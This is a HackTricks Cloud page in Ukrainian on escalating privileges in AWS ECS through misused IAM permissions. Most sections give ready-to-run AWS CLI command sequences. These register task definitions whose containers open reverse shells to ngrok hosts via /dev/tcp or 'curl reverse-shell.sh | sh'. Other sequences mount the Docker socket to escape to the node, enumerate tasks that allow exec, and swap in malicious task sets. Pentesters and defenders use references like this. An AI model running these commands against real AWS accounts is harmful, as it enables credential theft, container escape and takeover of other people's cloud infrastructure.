Ukranian - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

AWS - ECS Privesc

Support HackTricks

ECS

Більше інформації про ECS в:

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Зловмисник, який зловживає дозволами iam:PassRole, ecs:RegisterTaskDefinition та ecs:RunTask в ECS, може створити нове визначення завдання з шкідливим контейнером, який краде облікові дані метаданих і запустити його.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Потенційний вплив: Пряме підвищення привілеїв до іншої ролі ECS.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask в ECS, може створити нове визначення завдання з шкідливим контейнером, який краде облікові дані метаданих і запустити його. Однак у цьому випадку потрібно мати екземпляр контейнера для запуску шкідливого визначення завдання.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Потенційний вплив: Пряме підвищення привілеїв до будь-якої ролі ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService або ecs:CreateService в ECS, може створити нове визначення завдання з шкідливим контейнером, який краде облікові дані метаданих, і запустити його, створивши нову службу з принаймні 1 запущеним завданням.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Потенційний вплив: Пряме підвищення привілеїв до будь-якої ролі ECS.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

Насправді, лише з цими дозволами можливо використовувати переопределення для виконання довільних команд у контейнері з довільною роллю за допомогою чогось на зразок:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Потенційний вплив: Пряме підвищення привілеїв до будь-якої ролі ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Цей сценарій схожий на попередні, але без дозволу iam:PassRole. Це все ще цікаво, оскільки, якщо ви можете запустити довільний контейнер, навіть якщо це без ролі, ви могли б запустити привілейований контейнер, щоб втекти на вузол і вкрасти роль EC2 IAM та інші ролі контейнерів ECS, що працюють на вузлі. Ви навіть могли б примусити інші завдання працювати всередині EC2 екземпляра, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорювалося в Розділі підвищення привілеїв до вузла).

Цей напад можливий лише якщо кластер ECS використовує EC2 екземпляри, а не Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Зловмисник з ecs:ExecuteCommand, ecs:DescribeTasks може виконувати команди всередині запущеного контейнера та ексфільтрувати IAM роль, що до нього прикріплена (вам потрібні права опису, оскільки це необхідно для виконання aws ecs execute-command). Однак, для цього екземпляр контейнера повинен працювати з агентом ExecuteCommand (який за замовчуванням не працює).

Отже, зловмисник може спробувати:

  • Спробувати виконати команду в кожному запущеному контейнері

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

  • Якщо він має ecs:RunTask, запустіть задачу за допомогою aws ecs run-task --enable-execute-command [...]

  • Якщо він має ecs:StartTask, запустіть задачу за допомогою aws ecs start-task --enable-execute-command [...]

  • Якщо він має ecs:CreateService, створіть сервіс за допомогою aws ecs create-service --enable-execute-command [...]

  • Якщо він має ecs:UpdateService, оновіть сервіс за допомогою aws ecs update-service --enable-execute-command [...]

Ви можете знайти приклади цих опцій у попередніх розділах ECS privesc.

Потенційний вплив: Privesc до іншої ролі, прикріпленої до контейнерів.

ssm:StartSession

Перевірте на сторінці ssm privesc, як ви можете зловживати цим дозволом для privesc до ECS:

iam:PassRole, ec2:RunInstances

Перевірте на сторінці ec2 privesc, як ви можете зловживати цими дозволами для privesc до ECS:

?ecs:RegisterContainerInstance

TODO: Чи можливо зареєструвати екземпляр з іншого облікового запису AWS, щоб задачі виконувалися на машинах, контрольованих зловмисником??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Тестуйте це

Зловмисник з дозволами ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet та ecs:DescribeTaskSets може створити шкідливий набір задач для існуючого сервісу ECS та оновити основний набір задач. Це дозволяє зловмиснику виконувати довільний код у межах сервісу.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Потенційний вплив: Виконання довільного коду в ураженій службі, що потенційно вплине на її функціональність або ексфільтрацію чутливих даних.

Посилання

Підтримайте HackTricks
PreviousAWS - ECR PrivescNextAWS - EFS Privesc

Last updated